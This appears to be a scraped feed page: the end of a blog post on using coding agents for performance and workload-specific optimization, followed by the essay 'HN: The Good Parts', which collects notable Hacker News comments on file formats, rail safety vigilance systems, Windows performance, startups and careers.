This also applies to a lot of other tricky optimizations. From having written CPU microcode, done CPU verification, worked on optimizing a search engine index, etc., I have a lot of experience looking at optimizations and thinking "hmm, this would increase performance by 2%, but it's going to take N person-days to verify that this tricky optimization works" and making a call to go ahead or not based on whether or not it's worth the time to get the optimization working. Now that this N has dropped by a tremendous factor (variable but, in terms of human time, frequently 1000x / 10000x / 1000000x, probably more like 1000x on dollar cost if you compare token costs at metered rates vs. the Bing engineer who wrote the compilers at JITs that the search index used), the number of these kinds of optimizations it makes sense to do goes way up. The same goes for optimizations that you aren't sure will work out. I used to sometimes look at an optimization that I wasn't sure would speed things up and think "this will take M hours to implement to the point where we have a good enough measurement to guess at the performance impact". Many more of those optimizations make sense to try out now.

Going back to the game AI case, at least for the AI I tried, it seems like you gain about 100 Elo for every doubling in speed (more than in chess, I suspect because draws are very rare). Just adding multithreading alone is enough to wipe the floor with an otherwise comparable AI on a large machine. If you stack in 10-20 more optimizations that seem too annoying for most people to do by hand, the difference in strength is tremendous and it's not really reasonable to try to keep up with a hand-written AI 3 .

The game AI case is a little more annoying than for most software because a lot of the optimizations you want to do actually change the result and there isn't a cheap, trivial, way to tell if the speed increase + the change in result gives a better or worse actual result in practice. And, as we noted before , current publicly available SOTA models are pretty bad at experimental design, so I had to set up the framework they used to determine if an optimization is good, but once that was in place, it's like any other optimization problem. I guess people working on LLM optimizations also have to deal with this class of problem but most optimization problems are a lot more straightforward.

To pick another example, as part of preparing for performance interviews, Jamie Brandon tried Anthropic's now public performance takehome . After trying it, he had Claude pick up where he left off and it got a much better result. When he looked at what Claude did that he didn't, he said a lot of the optimizations were things that occurred to him but he hadn't gotten to yet, and "[o]thers were just crazy shit that I would never try unless I was working on this for weeks" 4 . He's a reasonable performance engineer and he got an offer for the performance job he wanted, but on a well-defined optimization problem, he doesn't stand a chance against a decent model (I haven't tried the problem myself, but I suspect I also wouldn't stand a chance given remotely comparable time controls).

Workload-specific optimization

Coming back to this part of Marc Brooker's comment:

Dynamic custom software, fitted to a particular workload rather than a class of workloads, seems like a very likely outcome.

This seems pretty inevitable. In another response to my post, Michael Malis of pgrust said something similar:

[discussion of pgrust optimizations] ... I think it's easy enough to create these optimizations that we could look at a customers workload and add them as needed

Without having any kind of framework or setup, right before I started writing this post, I had an agent do workload-specific optimization for my ripgrep queries (not the native code compiler switch, just the optimizations to the general FRE engine based on a set of benchmarks), which took about 2 minutes for me to launch. The optimizations run on a set of queries, and then there's a later holdout set of queries to run against. That's still running, but the initial results seem promising. After one pass of optimization, the workload optimized version is 2% faster than standard ripgrep on the holdout and it's still getting faster. 2% isn't a big deal for my local ripgrep usage, but considering that this took minutes of time and the optimizations done here got started when I started typing this point and are still improving, I'd take a 2% win here (note that this isn't combined with the native code compiler, which would give a larger overall win if combined properly). And recall that this is leveraging the FRE regex engine 5 , which was substantially slower than the Rust regex engine on holdout benchmarks and was stuck with slow improvement on holdouts because with me knowing nothing about regex workloads and SOTA LLMs not being good enough at experimental design to do unguided open-ended self-improving loops, we didn't have a good way to improve performance on our holdouts. But if what I care about is performance on my own workloads, I have plenty of data and am generating more all the time. As Marc Brooker noted above, we do have to be careful about overfitting if there's a regime change that's not in the old data, etc., but we're still in a better situation than we were before.

In the more general case, if you're someone like Marc Brooker at Amazon or Michael Malis working on pgrust, it makes sense to not just do this as a one-off, but to work with customers to pilot a program that uses their data to optimize things for them and then figure out how to scale it out for customers in general. I'm not working at a company where that's the best use of my time 6 , but it's pretty wild that you can see that this is coming for larger companies with more scale, and given that it only takes minutes of my time to run these experiments for my personal workflows, it's pretty reasonable to mess with this kind of thing on personal projects.

Thanks to Jamie Brandon, Michael Malis, and Max Bittker for comments/corrections/discussion.

P.S. As I've noted in the last couple posts , with coding agents, the time it takes to run an experiment and see enough of a result to satisfy my curiosity has gone way done while the time it takes to make a result really rigorous hasn't changed or has gone up, so writing things up the way I used to would mean running very few experiments relative to the bandwidth I have for them. As a result, I've just been running these experiments and sharing the result with a couple of friends. As an experiment, I'm trying to write these up in a very quick and non-rigorous way instead of years of these experiments only being known to a few friends. Like the last post, I set a goal of writing this post and doing all the clean-up in half an hour and didn't time it but am pretty sure I missed that by a bit.

Even doing this, the time it takes to write these up is long enough that I'm falling behind on sharing recent results, but I'm not inclined to switch to LLM-written posts (yet?), and I don't think I can realistically get the time to clean up the data and write a post like this down enough to turn a post around in less than half an hour. Just on the length of this post, typing this up should be something like 20-30 minutes including time to pause and think about what I'm writing, and then when I look at the data sometimes something will look wrong enough that I need to look into it more closely to see if there's an issue that needs to be fixed (this happened multiple times here, and I would expect that, because I didn't spend much more time, there are other data issues that I don't know about).

Anyway, if you have opinions on these quick (and surely more wrong) writeup, let me know what you think ( X Bsky Mastodon )!

Appendix: There's no reason for software to be slow anymore

I've been on the record for a long time as strongly disagreeing with the general sentiment that the developers of X are bad and should feel bad for writing slow code because there are a lot of different kinds of programming expertise and not only is it not the case that most programmers don't have performance expertise, it probably doesn't even make sense for them to development (from the standpoint of what the business cares about, what the employment market looks like, etc.), so of course most projects will have very poor performance compared to what a performance expert can do.

For the example above, Jamie Brandon got an offer from Anthropic and you probably can't afford him or someone like him unless you're OpenAI, but you can afford to use a coding agent that can beat him on a bounded optimization problem. The agent doesn't have the judgement he has and will do worse on an open-ended problem (recall that when we tried building an optimized regex engine and just told it to not overfit, it was more than an order of magnitude worse than the best regex engines on our holdout benchmarks , but also recall that after telling the agent there was a holdout it was doing poorly on, it sped up regex engine performance enough to generally match 2nd tier regex engines in terms of performance, which is still extremely good compared to the general level of performance optimization in most code today), but that's plenty good to achieve reasonable performance on all sorts of problems. This post has generally discussed backend performance issues, but agents don't seem worse at front-end performance if you want to drive down a set of metrics like LCP, INP, etc.

Appendix: How is codex running ripgrep?

Here's some information about the distribution of riprep queries on my machine. I make no claims that this is at all representative of what's happening anywhere else. The pattern distribution of the length of the pattern that's searched has a lot more long patterns that I would've expected. The p50 is 55 unicode code points (I'll just call these characters for simplicity), which is already longer than things I grep for by hand, and the p90 is 119!

We can also look at the number of alternation arms in regexes, which are once again much more complex than what I do by hand. Where

In terms of how long ripgrep queries took, this is actually shorter than I expected. I'm guessing this is because I notice the massive runaway ripgrep queries that take minutes and quick queries that finish almost instantly are under my radar

In terms of command line options, we see the following. Perhaps unsurprisingly, codex often wants line numbers and, for whatever reason, it very occasionally uses PCRE2 regexes.

I won't add plots or tables for these, but another thing to note is that there's fairly low locality for what patterns are searched for (about 94% of patterns only occurred once), which makes some sense given how long a lot of the queries were. However, there's fairly high locality in what files get searched and a file that got searched is relatively likely to get searched again soon, indicating that (for small enough files), they're likely to be searched in memory.

Also, 99% of queries were regex queries (1% were non-regex string searches) and 99.9% of search queries were ASCII only, but in terms of files searched, approximately 45% were ASCII only and 55% contained Unicode, a higher percentage than I would've guessed for Unicode.

It's also possible for a regex implementation to be faster by supporting fewer features. Some implementations don't support back references, etc.

which is also true here. The workload-specific optimizations done here were fairly superficial because I just gave codex some short instructions and let it do whatever it wanted (which is, in general, not the most effective use of codex), but with a more detailed plan, more focused optimizations supporting the common use cases for my queries could be expected to yield larger gains.

Initial focus for our partnership with Motorola is a regular non-folding device

Hacker News
grapheneos.social
2026-08-21 21:02:09
Comments...

HN: The Good Parts (2016)

Hacker News
danluu.com
2026-08-21 19:53:03
Comments...
Original Article

HN comments are terrible . On any topic I’m informed about , the vast majority of comments are pretty clearly wrong . Most of the time, there are zero comments from people who know anything about the topic and the top comment is reasonable sounding but totally incorrect. Additionally, many comments are gratuitously mean. You'll often hear mean comments backed up with something like "this is better than the other possibility, where everyone just pats each other on the back with comments like 'this is great'", as if being an asshole is some sort of talisman against empty platitudes. I've seen people push back against that; when pressed, people often say that it’s either impossible or inefficient to teach someone without being mean, as if telling someone that they're stupid somehow helps them learn. It's as if people learned how to explain things by watching Simon Cowell and can't comprehend the concept of an explanation that isn't littered with personal insults. Paul Graham has said, " Oh, you should never read Hacker News comments about anything you write ”. Most of the negative things you hear about HN comments are true.

And yet, I haven’t found a public internet forum with better technical commentary. On topics I'm familiar with, while it's rare that a thread will have even a single comment that's well-informed, when those comments appear, they usually float to the top. On other forums, well-informed comments are either non-existent or get buried by reasonable sounding but totally wrong comments when they appear, and they appear even more rarely than on HN.

By volume, there are probably more interesting technical “posts” in comments than in links. Well, that depends on what you find interesting, but that’s true for my interests. If I see a low-level optimization comment from nkurz, a comment on business from patio11, a comment on how companies operate by nostrademons, I almost certainly know that I’m going to read an interesting comment. There are maybe 20 to 30 people I can think of who don’t blog much, but write great comments on HN and I doubt I even know of half the people who are writing great comments on HN 1 .

I compiled a very abbreviated list of comments I like because comments seem to get lost. If you write a blog post, people will refer it years later, but comments mostly disappear. I think that’s sad -- there’s a lot of great material on HN (and yes, even more not-so-great material).

What’s the deal with MS Word’s file format ?

Basically, the Word file format is a binary dump of memory. I kid you not. They just took whatever was in memory and wrote it out to disk. We can try to reason why (maybe it was faster, maybe it made the code smaller), but I think the overriding reason is that the original developers didn't know any better.

Later as they tried to add features they had to try to make it backward compatible. This is where a lot of the complexity lies. There are lots of crazy workarounds for things that would be simple if you allowed yourself to redesign the file format. It's pretty clear that this was mandated by management, because no software developer would put themselves through that hell for no reason.

Later they added a fast-save feature (I forget what it is actually called). This appends changes to the file without changing the original file. The way they implemented this was really ingenious, but complicates the file structure a lot.

One thing I feel I must point out (I remember posting a huge thing on slashdot when this article was originally posted) is that 2 way file conversion is next to impossible for word processors. That's because the file formats do not contain enough information to format the document. The most obvious place to see this is pagination. The file format does not say where to paginate a text flow (unless it is explicitly entered by the user). It relies of the formatter to do it. Each word processor formats text completely differently. Word, for example famously paginates footnotes incorrectly. They can't change it, though, because it will break backwards compatibility. This is one of the only reasons that Word Perfect survives today -- it is the only word processor that paginates legal documents the way the US Department of Justice requires.

Just considering the pagination issue, you can see what the problem is. When reading a Word document, you have to paginate it like Word -- only the file format doesn't tell you what that is. Then if someone modifies the document and you need to resave it, you need to somehow mark that it should be paginated like Word (even though it might now have features that are not in Word). If it was only pagination, you might be able to do it, but practically everything is like that.

I recommend reading (a bit of) the XML Word file format for those who are interested. You will see large numbers of flags for things like "Format like Word 95". The format doesn't say what that is -- because it's pretty obvious that the authors of the file format don't know. It's lost in a hopeless mess of legacy code and nobody can figure out what it does now.

Fun with NULL

Here's another example of this fine feature:

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #define LENGTH 128

  int main(int argc, char **argv) {
      char *string = NULL;
      int length = 0;
      if (argc > 1) {
          string = argv[1];
          length = strlen(string);
          if (length >= LENGTH) exit(1);
      }

      char buffer[LENGTH];
      memcpy(buffer, string, length);
      buffer[length] = 0;

      if (string == NULL) {
          printf("String is null, so cancel the launch.\n");
      } else {
          printf("String is not null, so launch the missiles!\n");
      }

      printf("string: %s\n", string);  // undefined for null but works in practice

      #if SEGFAULT_ON_NULL
      printf("%s\n", string);          // segfaults on null when bare "%s\n"
      #endif

      return 0;
  }

  nate@skylake:~/src$ clang-3.8 -Wall -O3 null_check.c -o null_check
  nate@skylake:~/src$ null_check
  String is null, so cancel the launch.
  string: (null)

  nate@skylake:~/src$ icc-17 -Wall -O3 null_check.c -o null_check
  nate@skylake:~/src$ null_check
  String is null, so cancel the launch.
  string: (null)

  nate@skylake:~/src$ gcc-5 -Wall -O3 null_check.c -o null_check
  nate@skylake:~/src$ null_check
  String is not null, so launch the missiles!
  string: (null)

It appear that Intel's ICC and Clang still haven't caught up with GCC's optimizations. Ouch if you were depending on that optimization to get the performance you need! But before picking on GCC too much, consider that all three of those compilers segfault on printf("string: "); printf("%s\n", string) when string is NULL, despite having no problem with printf("string: %s\n", string) as a single statement. Can you see why using two separate statements would cause a segfault? If not, see here for a hint: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=25609

How do you make sure the autopilot backup is paying attention ?

Good engineering eliminates users being able to do the wrong thing as much as possible. . . . You don't design a feature that invites misuse and then use instructions to try to prevent that misuse.

There was a derailment in Australia called the Waterfall derailment [1]. It occurred because the driver had a heart attack and was responsible for 7 deaths (a miracle it was so low, honestly). The root cause was the failure of the dead-man's switch.

In the case of Waterfall, the driver had 2 dead-man switches he could use - 1) the throttle handle had to be held against a spring at a small rotation, or 2) a bar on the floor could be depressed. You had to do 1 of these things, the idea being that you prevent wrist or foot cramping by allowing the driver to alternate between the two. Failure to do either triggers an emergency brake.

It turns out that this driver was fat enough that when he had a heart attack, his leg was able to depress the pedal enough to hold the emergency system off. Thus, the dead-man's system never triggered with a whole lot of dead man in the driver's seat.

I can't quite remember the specifics of the system at Waterfall, but one method to combat this is to require the pedal to be held halfway between released and fully depressed. The idea being that a dead leg would fully depress the pedal so that would trigger a brake, and a fully released pedal would also trigger a brake. I don't know if they had that system but certainly that's one approach used in rail.

Either way, the problem is equally possible in cars. If you lose consciousness and your foot goes limp, a heavy enough leg will be able to hold the pedal down a bit depending on where it's positioned relative to the pedal and the leverage it has on the floor.

The other major system I'm familiar with for ensuring drivers are alive at the helm is called 'vigilance'. The way it works is that periodically, a light starts flashing on the dash and the driver has to acknowledge that. If they do not, a buzzer alarm starts sounding. If they still don't acknowledge it, the train brakes apply and the driver is assumed incapacitated. Let me tell you some stories of my involvement in it.

When we first started, we had a simple vigi system. Every 30 seconds or so (for example), the driver would press a button. Ok cool. Except that then drivers became so hard-wired to pressing the button every 30 seconds that we were having instances of drivers falling asleep/dozing off and still pressing the button right on every 30 seconds because it was so ingrained into them that it was literally a subconscious action.

So we introduced random-timing vigilance, where the time varies 30-60 seconds (for example) and you could only acknowledge it within a small period of time once the light started flashing. Again, drivers started falling asleep/semi asleep and would hit it as soon as the alarm buzzed, each and every time.

So we introduced random-timing, task-linked vigilance and that finally broke the back of the problem. Now, the driver has to press a button, or turn a knob, or do a number of different activities and they must do that randomly-chosen activity, at a randomly-chosen time, for them to acknowledge their consciousness. It was only at that point that we finally nailed out driver alertness.

See also .

Prestige

Curious why he would need to move to a more prestigious position? Most people realize by their 30s that prestige is a sucker's game; it's a way of inducing people to do things that aren't much fun and they wouldn't really want to do on their own, by lauding them with accolades from people they don't really care about.

Why is FedEx based in Mephis ?

. . . we noticed that we also needed:
(1) A suitable, existing airport at the hub location.
(2) Good weather at the hub location, e.g., relatively little snow, fog, or rain.
(3) Access to good ramp space, that is, where to park and service the airplanes and sort the packages.
(4) Good labor supply, e.g., for the sort center.
(5) Relatively low cost of living to keep down prices.
(6) Friendly regulatory environment.
(7) Candidate airport not too busy, e.g., don't want arriving planes to have to circle a long time before being able to land.
(8) Airport with relatively little in cross winds and with more than one runway to pick from in case of winds.
(9) Runway altitude not too high, e.g., not high enough to restrict maximum total gross take off weight, e.g., rule out Denver.
(10) No tall obstacles, e.g., mountains, near the ends of the runways.
(11) Good supplies of jet fuel.
(12) Good access to roads for 18 wheel trucks for exchange of packages between trucks and planes, e.g., so that some parts could be trucked to the hub and stored there and shipped directly via the planes to customers that place orders, say, as late as 11 PM for delivery before 10 AM.
So, there were about three candidate locations, Memphis and, as I recall, Cincinnati and Kansas City.
The Memphis airport had some old WWII hangers next to the runway that FedEx could use for the sort center, aircraft maintenance, and HQ office space. Deal done -- it was Memphis.

Why etherpad joined Wave, and why it didn’t work out as expected

The decision to sell to Google was one of the toughest decisions I and my cofounders ever had to wrestle with in our lives. We were excited by the Wave vision though we saw the flaws in the product. The Wave team told us about how they wanted our help making wave simpler and more like etherpad, and we thought we could help with that, though in the end we were unsuccessful at making wave simpler. We were scared of Google as a competitor: they had more engineers and more money behind this project, yet they were running it much more like an independent startup than a normal big-company department. The Wave office was in Australia and had almost total autonomy. And finally, after 1.5 years of being on the brink of failure with AppJet, it was tempting to be able to declare our endeavor a success and provide a decent return to all our investors who had risked their money on us.

In the end, our decision to join Wave did not work out as we had hoped. The biggest lessons learned were that having more engineers and money behind a project can actually be more harmful than helpful, so we were wrong to be scared of Wave as a competitor for this reason. It seems obvious in hindsight, but at the time it wasn't. Second, I totally underestimated how hard it would be to iterate on the Wave codebase. I was used to rewriting major portions of software in a single all-nighter. Because of the software development process Wave was using, it was practically impossible to iterate on the product. I should have done more diligence on their specific software engineering processes, but instead I assumed because they seemed to be operating like a startup, that they would be able to iterate like a startup. A lot of the product problems were known to the whole Wave team, but we were crippled by a large complex codebase built on poor technical choices and a cumbersome engineering process that prevented fast iteration.

The accuracy of tech news

When I've had inside information about a story that later breaks in the tech press, I'm always shocked at how differently it's perceived by readers of the article vs. how I experienced it. Among startups & major feature launches I've been party to, I've seen: executives that flat-out say that they're not working on a product category when there's been a whole department devoted to it for a year; startups that were founded 1.5 years before the dates listed in Crunchbase/Wikipedia; reporters that count the number of people they meet in a visit and report that as a the "team size", because the company refuses to release that info; funding rounds that never make it to the press; acquisitions that are reported as "for an undisclosed sum" but actually are less than the founders would've made if they'd taken a salaried job at the company; project start dates that are actually when the project was staffed up to its current size and ignore the year or so that a small team spent working on the problem (or the 3-4 years that other small teams spent working on the problem); and algorithms or other technologies that are widely reported as being the core of the company's success, but actually aren't even used by the company.

Self-destructing speakers from Dell

As the main developer of VLC, we know about this story since a long time, and this is just Dell putting crap components on their machine and blaming others. Any discussion was impossible with them. So let me explain a bit...

In this case, VLC just uses the Windows APIs (DirectSound), and sends signed integers of 16bits (s16) to the Windows Kernel.

VLC allows amplification of the INPUT above the sound that was decoded. This is just like replay gain, broken codecs, badly recorded files or post-amplification and can lead to saturation.

But this is exactly the same if you put your mp3 file through Audacity and increase it and play with WMP, or if you put a DirectShow filter that amplifies the volume after your codec output. For example, for a long time, VLC ac3 and mp3 codecs were too low (-6dB) compared to the reference output.

At worse, this will reduce the dynamics and saturate a lot, but this is not going to break your hardware.

VLC does not (and cannot) modify the OUTPUT volume to destroy the speakers. VLC is a Software using the OFFICIAL platforms APIs.

The issue here is that Dell sound cards output power (that can be approached by a factor of the quadratic of the amplitude) that Dell speakers cannot handle. Simply said, the sound card outputs at max 10W, and the speakers only can take 6W in, and neither their BIOS or drivers block this.

And as VLC is present on a lot of machines, it's simple to blame VLC. "Correlation does not mean causation" is something that seems too complex for cheap Dell support…

Learning on the job, startups vs. big companies

Working for someone else's startup, I learned how to quickly cobble solutions together. I learned about uncertainty and picking a direction regardless of whether you're sure it'll work. I learned that most startups fail, and that when they fail, the people who end up doing well are the ones who were looking out for their own interests all along. I learned a lot of basic technical skills, how to write code quickly and learn new APIs quickly and deploy software to multiple machines. I learned how quickly problems of scaling a development team crop up, and how early you should start investing in automation.

Working for Google, I learned how to fix problems once and for all and build that culture into the organization. I learned that even in successful companies, everything is temporary, and that great products are usually built through a lot of hard work by many people rather than great ah-ha insights. I learned how to architect systems for scale, and a lot of practices used for robust, high-availability, frequently-deployed systems. I learned the value of research and of spending a lot of time on a single important problem: many startups take a scattershot approach, trying one weekend hackathon after another and finding nobody wants any of them, while oftentimes there are opportunities that nobody has solved because nobody wants to put in the work. I learned how to work in teams and try to understand what other people want. I learned what problems are really painful for big organizations. I learned how to rigorously research the market and use data to make product decisions, rather than making decisions based on what seems best to one person.

We failed this person, what are we going to do differently ?

Having been in on the company's leadership meetings where departures were noted with a simple 'regret yes/no' flag it was my experience that no single departure had any effect. Mass departures did, trends did, but one person never did, even when that person was a founder.

The rationalizations always put the issue back on the departing employee, "They were burned out", "They had lost their ability to be effective", "They have moved on", "They just haven't grown with the company" never was it "We failed this person, what are we going to do differently?"

AWS’s origin story

Anyway, the SOA effort was in full swing when I was there. It was a pain, and it was a mess because every team did things differently and every API was different and based on different assumptions and written in a different language.

But I want to correct the misperception that this lead to AWS. It didn't. S3 was written by its own team, from scratch. At the time I was at Amazon, working on the retail site, none of Amazon.com was running on AWS. I know, when AWS was announced, with great fanfare, they said "the services that power Amazon.com can now power your business!" or words to that effect. This was a flat out lie. The only thing they shared was data centers and a standard hardware configuration. Even by the time I left, when AWS was running full steam ahead (and probably running Reddit already), none of Amazon.com was running on AWS, except for a few, small, experimental and relatively new projects. I'm sure more of it has been adopted now, but AWS was always a separate team (and a better managed one, from what I could see.)

Why is Windows so slow ?

I (and others) have put a lot of effort into making the Linux Chrome build fast. Some examples are multiple new implementations of the build system ( http://neugierig.org/software/chromium/notes/2011/02/ninja.h.. . ), experimentation with the gold linker (e.g. measuring and adjusting the still off-by-default thread flags https://groups.google.com/a/chromium.org/group/chromium-dev/.. . ) as well as digging into bugs in it, and other underdocumented things like 'thin' ar archives.

But it's also true that people who are more of Windows wizards than I am a Linux apprentice have worked on Chrome's Windows build. If you asked me the original question, I'd say the underlying problem is that on Windows all you have is what Microsoft gives you and you can't typically do better than that. For example, migrating the Chrome build off of Visual Studio would be a large undertaking, large enough that it's rarely considered. (Another way of phrasing this is it's the IDE problem: you get all of the IDE or you get nothing.)

When addressing the poor Windows performance people first bought SSDs, something that never even occurred to me ("your system has enough RAM that the kernel cache of the file system should be in memory anyway!"). But for whatever reason on the Linux side some Googlers saw it fit to rewrite the Linux linker to make it twice as fast (this effort predated Chrome), and all Linux developers now get to benefit from that. Perhaps the difference is that when people write awesome tools for Windows or Mac they try to sell them rather than give them away.

Why is Windows so slow, an insider view

I'm a developer in Windows and contribute to the NT kernel. (Proof: the SHA1 hash of revision #102 of [Edit: filename redacted] is [Edit: hash redacted].) I'm posting through Tor for obvious reasons.

Windows is indeed slower than other operating systems in many scenarios, and the gap is worsening. The cause of the problem is social. There's almost none of the improvement for its own sake, for the sake of glory, that you see in the Linux world.

Granted, occasionally one sees naive people try to make things better. These people almost always fail. We can and do improve performance for specific scenarios that people with the ability to allocate resources believe impact business goals, but this work is Sisyphean. There's no formal or informal program of systemic performance improvement. We started caring about security because pre-SP3 Windows XP was an existential threat to the business. Our low performance is not an existential threat to the business.

See, component owners are generally openly hostile to outside patches: if you're a dev, accepting an outside patch makes your lead angry (due to the need to maintain this patch and to justify in in shiproom the unplanned design change), makes test angry (because test is on the hook for making sure the change doesn't break anything, and you just made work for them), and PM is angry (due to the schedule implications of code churn). There's just no incentive to accept changes from outside your own team. You can always find a reason to say "no", and you have very little incentive to say "yes".

What’s the probability of a successful exit by city?

See link for giant table :-).

The hiring crunch

Broken record: startups are also probably rejecting a lot of engineering candidates that would perform as well or better than anyone on their existing team, because tech industry hiring processes are folkloric and irrational.

Too long to excerpt. See the link!

Should you leave a bad job?

I am 42-year-old very successful programmer who has been through a lot of situations in my career so far, many of them highly demotivating. And the best advice I have for you is to get out of what you are doing. Really. Even though you state that you are not in a position to do that, you really are. It is okay. You are free. Okay, you are helping your boyfriend's startup but what is the appropriate cost for this? Would he have you do it if he knew it was crushing your soul?

I don't use the phrase "crushing your soul" lightly. When it happens slowly, as it does in these cases, it is hard to see the scale of what is happening. But this is a very serious situation and if left unchecked it may damage the potential for you to do good work for the rest of your life.

The commenters who are warning about burnout are right. Burnout is a very serious situation. If you burn yourself out hard, it will be difficult to be effective at any future job you go to, even if it is ostensibly a wonderful job. Treat burnout like a physical injury. I burned myself out once and it took at least 12 years to regain full productivity. Don't do it.

  • More broadly, the best and most creative work comes from a root of joy and excitement. If you lose your ability to feel joy and excitement about programming-related things, you'll be unable to do the best work. That this issue is separate from and parallel to burnout! If you are burned out, you might still be able to feel the joy and excitement briefly at the start of a project/idea, but they will fade quickly as the reality of day-to-day work sets in. Alternatively, if you are not burned out but also do not have a sense of wonder, it is likely you will never get yourself started on the good work.

  • The earlier in your career it is now, the more important this time is for your development. Programmers learn by doing. If you put yourself into an environment where you are constantly challenged and are working at the top threshold of your ability, then after a few years have gone by, your skills will have increased tremendously. It is like going to intensively learn kung fu for a few years, or going into Navy SEAL training or something. But this isn't just a one-time constant increase. The faster you get things done, and the more thorough and error-free they are, the more ideas you can execute on, which means you will learn faster in the future too. Over the long term, programming skill is like compound interest. More now means a LOT more later. Less now means a LOT less later.

So if you are putting yourself into a position that is not really challenging, that is a bummer day in and day out, and you get things done slowly, you aren't just having a slow time now. You are bringing down that compound interest curve for the rest of your career. It is a serious problem. If I could go back to my early career I would mercilessly cut out all the shitty jobs I did (and there were many of them).

Creating change when politically unpopular

A small anecdote. An acquaintance related a story of fixing the 'drainage' in their back yard. They were trying to grow some plants that were sensitive to excessive moisture, and the plants were dying. Not watering them, watering them a little, didn't seem to change. They died. A professional gardner suggested that their problem was drainage. So they dug down about 3' (where the soil was very very wet) and tried to build in better drainage. As they were on the side of a hill, water table issues were not considered. It turned out their "problem" was that the water main that fed their house and the houses up the hill, was so pressurized at their property (because it had maintain pressure at the top of the hill too) that the pipe seams were leaking and it was pumping gallons of water into the ground underneath their property. The problem wasn't their garden, the problem was that the city water supply was poorly designed.

While I have never been asked if I was an engineer on the phone, I have experienced similar things to Rachel in meetings and with regard to suggestions. Co-workers will create an internal assessment of your value and then respond based on that assessment. If they have written you off they will ignore you, if you prove their assessment wrong in a public forum they will attack you. These are management issues, and something which was sorely lacking in the stories.

If you are the "owner" of a meeting, and someone is trying to be heard and isn't. It is incumbent on you to let them be heard. By your position power as "the boss" you can naturally interrupt a discussion to collect more data from other members. Its also important to ask questions like "does anyone have any concerns?" to draw out people who have valid input but are too timid to share it.

In a highly political environment there are two ways to create change, one is through overt manipulation, which is to collect political power to yourself and then exert it to enact change, and the other is covert manipulation, which is to enact change subtly enough that the political organism doesn't react. (sometimes called "triggering the antibodies").

The problem with the latter is that if you help make positive change while keeping everyone not pissed off, no one attributes it to you (which is good for the change agent because if they knew the anti-bodies would react, but bad if your manager doesn't recognize it). I asked my manager what change he wanted to be 'true' yet he (or others) had been unsuccessful making true, he gave me one, and 18 months later that change was in place. He didn't believe that I was the one who had made the change. I suggested he pick a change he wanted to happen and not tell me, then in 18 months we could see if that one happened :-). But he also didn't understand enough about organizational dynamics to know that making change without having the source of that change point back at you was even possible.

How to get tech support from Google

Heavily relying on Google product? ✓
Hitting a dead-end with Google's customer service? ✓
Have an existing audience you can leverage to get some random Google employee's attention? ✓
Reach front page of Hacker News? ✓
Good news! You should have your problem fixed in 2-5 business days. The rest of us suckers relying on google services get to stare at our inboxes helplessly, waiting for a response to our support ticket (which will never come). I feel like it's almost a [rite] of passage these days to rely heavily on a Google service, only to have something go wrong and be left out in the cold.

Taking funding

IIRC PayPal was very similar - it was sold for $1.5B, but Max Levchin's share was only about $30M, and Elon Musk's was only about $100M. By comparison, many early Web 2.0 darlings (Del.icio.us, Blogger, Flickr) sold for only $20-40M, but their founders had only taken small seed rounds, and so the vast majority of the purchase price went to the founders. 75% of a $40M acquisition = 3% of a $1B acquisition.

Something for founders to think about when they're taking funding. If you look at the gigantic tech fortunes - Gates, Page/Brin, Omidyar, Bezos, Zuckerburg, Hewlett/Packard - they usually came from having a company that was already profitable or was already well down the hockey-stick user growth curve and had a clear path to monetization by the time they sought investment. Companies that fight tooth & nail for customers and need lots of outside capital to do it usually have much worse financial outcomes.

StackOverflow vs. Experts-Exchange

A lot of the people who were involved in some way in Experts-Exchange don't understand Stack Overflow.

The basic value flow of EE is that "experts" provide valuable "answers" for novices with questions. In that equation there's one person asking a question and one person writing an answer.

Stack Overflow recognizes that for every person who asks a question, 100 - 10,000 people will type that same question into Google and find an answer that has already been written. In our equation, we are a community of people writing answers that will be read by hundreds or thousands of people. Ours is a project more like wikipedia -- collaboratively creating a resource for the Internet at large.

Because that resource is provided by the community, it belongs to the community. That's why our data is freely available and licensed under creative commons. We did this specifically because of the negative experience we had with EE taking a community-generated resource and deciding to slap a paywall around it.

The attitude of many EE contributors, like Greg Young who calculates that he "worked" for half a year for free, is not shared by the 60,000 people who write answers on SO every month. When you talk to them you realize that on Stack Overflow, answering questions is about learning. It's about creating a permanent artifact to make the Internet better. It's about helping someone solve a problem in five minutes that would have taken them hours to solve on their own. It's not about working for free.

As soon as EE introduced the concept of money they forced everybody to think of their work on EE as just that -- work.

Making money from amazon bots

I saw that one of my old textbooks was selling for a nice price, so I listed it along with two other used copies. I priced it $1 cheaper than the lowest price offered, but within an hour both sellers had changed their prices to $.01 and $.02 cheaper than mine. I reduced it two times more by $1, and each time they beat my price by a cent or two. So what I did was reduce my price by a few dollars every hour for one day until everybody was priced under $5. Then I bought their books and changed my price back.

What running a business is like

While I like the sentiment here, I think the danger is that engineers might come to the mistaken conclusion that making pizzas is the primary limiting reagent to running a successful pizzeria. Running a successful pizzeria is more about schlepping to local hotels and leaving them 50 copies of your menu to put at the front desk, hiring drivers who will both deliver pizzas in a timely fashion and not embezzle your (razor-thin) profits while also costing next-to-nothing to employ, maintaining a kitchen in sufficient order to pass your local health inspector's annual visit (and dealing with 47 different pieces of paper related to that), being able to juggle priorities like "Do I take out a bank loan to build a new brick-oven, which will make the pizza taste better, in the knowledge that this will commit $3,000 of my cash flow every month for the next 3 years, or do I hire an extra cook?", sourcing ingredients such that they're available in quantity and quality every day for a fairly consistent price, setting prices such that they're locally competitive for your chosen clientele but generate a healthy gross margin for the business, understanding why a healthy gross margin really doesn't imply a healthy net margin and that the rent still needs to get paid, keeping good-enough records such that you know whether your business is dying before you can't make payroll and such that you can provide a reasonably accurate picture of accounts for the taxation authorities every year, balancing 50% off medium pizza promotions with the desire to not cannibalize the business of your regulars, etc etc, and by the way tomato sauce should be tangy but not sour and cheese should melt with just the faintest whisp of a crust on it.

Do you want to write software for a living? Google is hiring. Do you want to run a software business? Godspeed. Software is now 10% of your working life.

How to handle mismanagement?

The way I prefer to think of it is: it is not your job to protect people (particularly senior management) from the consequences of their decisions. Make your decisions in your own best interest; it is up to the organization to make sure that your interest aligns with theirs.

